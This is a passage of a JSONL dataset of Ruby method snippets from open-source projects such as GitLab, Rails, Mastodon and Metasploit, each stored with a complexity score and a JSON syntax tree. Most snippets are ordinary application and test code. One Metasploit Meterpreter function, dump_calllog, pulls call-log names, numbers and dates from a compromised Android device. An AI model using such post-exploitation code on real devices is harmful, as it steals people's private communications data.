end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"changed_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attr_names\"]},\"each_with_object\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"HashWithIndifferentAccess\"]},\"new\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr_name\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changed?\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"store\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]},{\"type\":\"send\",\"children\":[null,\"original_value\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"convert_value\"]},{\"type\":\"false\",\"children\":[]}]}]}]},null]}]}]}","id":"bfad4f8d-1c33-4e2e-9c4c-2c6920aee7a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/jwt_v2.rb","start_line":12,"raw_source":"def self.for_build(\n        build, aud:, sub_components: [:project_path, :ref_type,\n          :ref], target_audience: nil)\n        new(build, ttl: build.timeout_value, aud: aud, sub_components: sub_components,\n          target_audience: target_audience).encoded\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"for_build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]},{\"type\":\"kwarg\",\"children\":[\"aud\"]},{\"type\":\"kwoptarg\",\"children\":[\"sub_components\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_path\"]},{\"type\":\"sym\",\"children\":[\"ref_type\"]},{\"type\":\"sym\",\"children\":[\"ref\"]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"target_audience\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"build\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ttl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"timeout_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aud\"]},{\"type\":\"lvar\",\"children\":[\"aud\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sub_components\"]},{\"type\":\"lvar\",\"children\":[\"sub_components\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_audience\"]},{\"type\":\"lvar\",\"children\":[\"target_audience\"]}]}]}]},\"encoded\"]}]}","id":"26a3ce34-76d7-41f9-82a2-34265e5b15d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/revoke_user_personal_access_tokens.rb","start_line":68,"raw_source":"def fetch_tokens(user_id)\n        fetched_tokens = []\n        raw_tokens = fetch_resources(\"/personal_access_tokens?user_id=#{user_id}&revoked=false\")\n        filtered_tokens = filter_tokens(raw_tokens)\n\n        if filtered_tokens.empty?\n          logger.info(\"Filtered out all tokens\")\n          return\n        end\n\n        tokens = filtered_tokens\n          .map do |token|\n            {\n              id: token[:id],\n              name: token[:name],\n              created_at: token[:created_at],\n              active: token[:active]\n            }\n          end\n        fetched_tokens.concat(tokens)\n\n        fetched_tokens\n      end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_tokens\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fetched_tokens\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_tokens\",{\"type\":\"send\",\"children\":[null,\"fetch_resources\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/personal_access_tokens?user_id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"str\",\"children\":[\"&revoked=false\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filtered_tokens\",{\"type\":\"send\",\"children\":[null,\"filter_tokens\",{\"type\":\"lvar\",\"children\":[\"raw_tokens\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filtered_tokens\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Filtered out all tokens\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tokens\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filtered_tokens\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_tokens\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"tokens\"]}]},{\"type\":\"lvar\",\"children\":[\"fetched_tokens\"]}]}]}","id":"6be52997-02b4-4df7-aaae-9bf7599b9803"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/create_unlogged_tables_test.rb","start_line":20,"raw_source":"def setup\n    @previous_unlogged_tables = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables\n    @connection = ActiveRecord::Base.lease_connection\n    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = false\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@previous_unlogged_tables\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"PostgreSQLAdapter\"]},\"create_unlogged_tables\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"PostgreSQLAdapter\"]},\"create_unlogged_tables=\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"bbeab3a5-0746-4cf7-ad0e-3869ceb4cc76"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/visibility_level.rb","start_line":149,"raw_source":"def private?\n      visibility_level_value == PRIVATE\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"private?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visibility_level_value\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"PRIVATE\"]}]}]}","id":"c34a522d-00d9-4d4d-8e52-9e6f32a3b089"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/railties/controller_runtime.rb","start_line":59,"raw_source":"def append_info_to_payload(payload)\n          super\n\n          runtime_stats = ActiveRecord::RuntimeRegistry.stats\n          payload[:db_runtime] = (db_runtime || 0) + runtime_stats.sql_runtime\n          payload[:queries_count] = runtime_stats.queries_count\n          payload[:cached_queries_count] = runtime_stats.cached_queries_count\n          runtime_stats.reset\n        end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"append_info_to_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"runtime_stats\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RuntimeRegistry\"]},\"stats\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"db_runtime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_runtime\"]},{\"type\":\"int\",\"children\":[0]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runtime_stats\"]},\"sql_runtime\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"queries_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runtime_stats\"]},\"queries_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cached_queries_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runtime_stats\"]},\"cached_queries_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runtime_stats\"]},\"reset\"]}]}]}","id":"e6cc75e9-df99-495d-a502-8d6a5a1ca840"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/assets_controller.rb","start_line":41,"raw_source":"def permitted_resource_params\n        params.require(:asset).permit(Spree::PermittedAttributes.asset_attributes)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_resource_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"asset\"]}]},\"permit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PermittedAttributes\"]},\"asset_attributes\"]}]}]}","id":"9d2a4934-efc2-4074-992a-d2e925c58f7d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/menus/repository_menu.rb","start_line":58,"raw_source":"def commits_menu_item\n          link = project_commits_path(context.project, context.current_ref, ref_type: ref_type_from_context(context))\n\n          ::Sidebars::MenuItem.new(\n            title: _('Commits'),\n            link: link,\n            super_sidebar_parent: ::Sidebars::Projects::SuperSidebarMenus::CodeMenu,\n            active_routes: { controller: %w[commit commits] },\n            item_id: :commits,\n            container_html_options: { class: 'shortcuts-commits' }\n          )\n        end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"commits_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link\",{\"type\":\"send\",\"children\":[null,\"project_commits_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"current_ref\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref_type\"]},{\"type\":\"send\",\"children\":[null,\"ref_type_from_context\",{\"type\":\"send\",\"children\":[null,\"context\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"MenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Commits\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"lvar\",\"children\":[\"link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"super_sidebar_parent\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"Projects\"]},\"SuperSidebarMenus\"]},\"CodeMenu\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active_routes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"commit\"]},{\"type\":\"str\",\"children\":[\"commits\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"commits\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_html_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"shortcuts-commits\"]}]}]}]}]}]}]}]}","id":"3f424d8b-5159-45dc-bd61-334012a6908a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":611,"raw_source":"def test_fixtures\n          assert accounts(:signals37)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fixtures\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"accounts\",{\"type\":\"sym\",\"children\":[\"signals37\"]}]}]}]}","id":"e9a3a577-c018-4dcb-99d4-c7a128a73287"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/ip_blocks_controller.rb","start_line":62,"raw_source":"def next_path\n    api_v1_admin_ip_blocks_url(pagination_params(max_id: pagination_max_id)) if records_continue?\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"next_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"records_continue?\"]},{\"type\":\"send\",\"children\":[null,\"api_v1_admin_ip_blocks_url\",{\"type\":\"send\",\"children\":[null,\"pagination_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_id\"]},{\"type\":\"send\",\"children\":[null,\"pagination_max_id\"]}]}]}]}]},null]}]}","id":"2f5ea728-20f4-49b8-9adb-c97b9c84ade9"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/report_generation.rb","start_line":180,"raw_source":"def test_github_markdown_sanity\n    @@tracker.options[:github_url] = \"https://github.com/presidentbeef/brakeman/blob/master/\"\n\n    report = @@report.to_markdown\n\n    assert report.is_a? String\n    assert report.include? @@tracker.options[:github_url]\n  ensure\n    @@tracker.options[:github_url] = nil\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_github_markdown_sanity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@tracker\"]},\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"github_url\"]},{\"type\":\"str\",\"children\":[\"https://github.com/presidentbeef/brakeman/blob/master/\"]}]},{\"type\":\"lvasgn\",\"children\":[\"report\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@report\"]},\"to_markdown\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"github_url\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@tracker\"]},\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"github_url\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"316c9c24-4793-402a-bf16-40fd57580a81"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/android/android.rb","start_line":232,"raw_source":"def dump_calllog\n    log = []\n    request = Packet.create_request(COMMAND_ID_ANDROID_DUMP_CALLLOG)\n    response = client.send_request(request)\n\n    response.each(TLV_TYPE_CALLLOG_GROUP) do |p|\n      log << {\n        'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),\n        'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),\n        'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),\n        'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),\n        'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)\n      }\n    end\n    log\n  end","complexity_score":39.3,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_calllog\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"log\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_ANDROID_DUMP_CALLLOG\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"each\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CALLLOG_GROUP\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CALLLOG_NAME\"]}]},\"value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CALLLOG_NUMBER\"]}]},\"value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CALLLOG_DATE\"]}]},\"value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CALLLOG_DURATION\"]}]},\"value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"unicode_filter_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_CALLLOG_TYPE\"]}]},\"value\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"log\"]}]}]}","id":"912e5031-2a40-43aa-8552-3703dd493915"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/labkit.rb","start_line":53,"raw_source":"def prometheus_metrics_enabled?\n          client.enabled? && Gitlab::CurrentSettings.prometheus_metrics_enabled\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"prometheus_metrics_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"prometheus_metrics_enabled\"]}]}]}","id":"198774c3-8f31-4e67-8a95-de9de951d672"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/range_test.rb","start_line":138,"raw_source":"def test_numrange_values\n    assert_equal BigDecimal(\"0.1\")..BigDecimal(\"0.2\"), @first_range.num_range\n    assert_equal BigDecimal(\"0.1\")...BigDecimal(\"0.2\"), @second_range.num_range\n    assert_equal BigDecimal(\"0.1\")...BigDecimal(\"Infinity\"), @third_range.num_range\n    assert_equal BigDecimal(\"-Infinity\")...BigDecimal(\"Infinity\"), @fourth_range.num_range\n    assert_nil @empty_range.num_range\n  end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_numrange_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"str\",\"children\":[\"0.1\"]}]},{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"str\",\"children\":[\"0.2\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_range\"]},\"num_range\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"str\",\"children\":[\"0.1\"]}]},{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"str\",\"children\":[\"0.2\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@second_range\"]},\"num_range\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"str\",\"children\":[\"0.1\"]}]},{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"str\",\"children\":[\"Infinity\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@third_range\"]},\"num_range\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"erange\",\"children\":[{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"str\",\"children\":[\"-Infinity\"]}]},{\"type\":\"send\",\"children\":[null,\"BigDecimal\",{\"type\":\"str\",\"children\":[\"Infinity\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fourth_range\"]},\"num_range\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@empty_range\"]},\"num_range\"]}]}]}]}","id":"c3b9e710-352a-4fca-bbd4-6564885b32ca"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/settings/authentication.rb","start_line":44,"raw_source":"def self.apple_key\n      return unless apple_client_id.present? && apple_key_id.present? &&\n        apple_pem.present? && apple_team_id.present?\n\n      \"present\"\n    end","complexity_score":14.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"apple_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apple_client_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apple_key_id\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apple_pem\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apple_team_id\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"present\"]}]}]}","id":"4ffa1dd5-dde9-4ed8-bab5-f026953a0b07"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/yaml.rb","start_line":22,"raw_source":"def reset_indent\n        puts \"    yaml: reset_indent\" if @debug\n        @indent_stack = [0]\n        @next_indent = 0\n        @block_scalar_indent = nil\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_indent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@debug\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"    yaml: reset_indent\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@indent_stack\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@next_indent\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@block_scalar_indent\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"0fbfee21-e5f4-4834-b3cf-27f809c7e399"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/postgresql.rb","start_line":130,"raw_source":"def visit_Arel_Nodes_IsDistinctFrom(o, collector)\n          collector = visit o.left, collector\n          collector << \" IS DISTINCT FROM \"\n          visit o.right, collector\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_IsDistinctFrom\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"left\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" IS DISTINCT FROM \"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"right\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}]}","id":"57caf4ce-4ab1-4b2e-9208-1f8d8c3b105a"}
